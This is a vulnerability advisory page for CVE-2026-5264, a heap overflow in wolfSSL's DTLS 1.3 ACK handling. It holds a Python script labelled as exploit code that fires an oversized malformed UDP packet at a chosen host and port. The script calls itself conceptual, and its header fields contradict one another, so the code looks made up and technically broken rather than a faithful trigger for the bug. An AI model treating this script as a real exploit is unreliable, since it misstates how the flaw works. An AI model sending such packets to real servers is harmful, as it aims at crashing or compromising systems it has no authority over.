Security Vulnerability Report
中文
CVE-2026-5264 CVSS 9.8 CRITICAL

CVE-2026-5264

Published: 2026-04-09 22:16:37
Last Modified: 2026-04-29 17:18:22

Description

Heap buffer overflow in DTLS 1.3 ACK message processing. A remote attacker can send a crafted DTLS 1.3 ACK message that triggers a heap buffer overflow.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:* - VULNERABLE
wolfSSL (DTLS 1.3 enabled versions prior to patch)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Conceptual Proof of Concept for CVE-2026-5264 # This script demonstrates how to send a malformed DTLS 1.3 ACK packet # that attempts to trigger the heap buffer overflow in wolfSSL. TARGET_IP = "127.0.0.1" TARGET_PORT = 4433 def send_exploit(): # Construct a basic UDP packet # Note: Real DTLS 1.3 handshake is required before sending ACK in a real scenario. # This is a simplified representation of the trigger packet. # DTLS Record Header (Simplified) content_type = b'\x17' # Application Data or specific ACK type version = b'\xfe\xfd' # DTLS 1.3 placeholder epoch_seq = b'\x00' * 6 length = b'\x00\x02' # Malformed payload designed to trigger the buffer overflow # The specific length and content depend on the vulnerable heap layout. # Sending excessive data to the ACK processing function. payload = b'A' * 5000 packet = content_type + version + epoch_seq + length + payload sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: sock.sendto(packet, (TARGET_IP, TARGET_PORT)) print(f"[*] Malformed packet sent to {TARGET_IP}:{TARGET_PORT}") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
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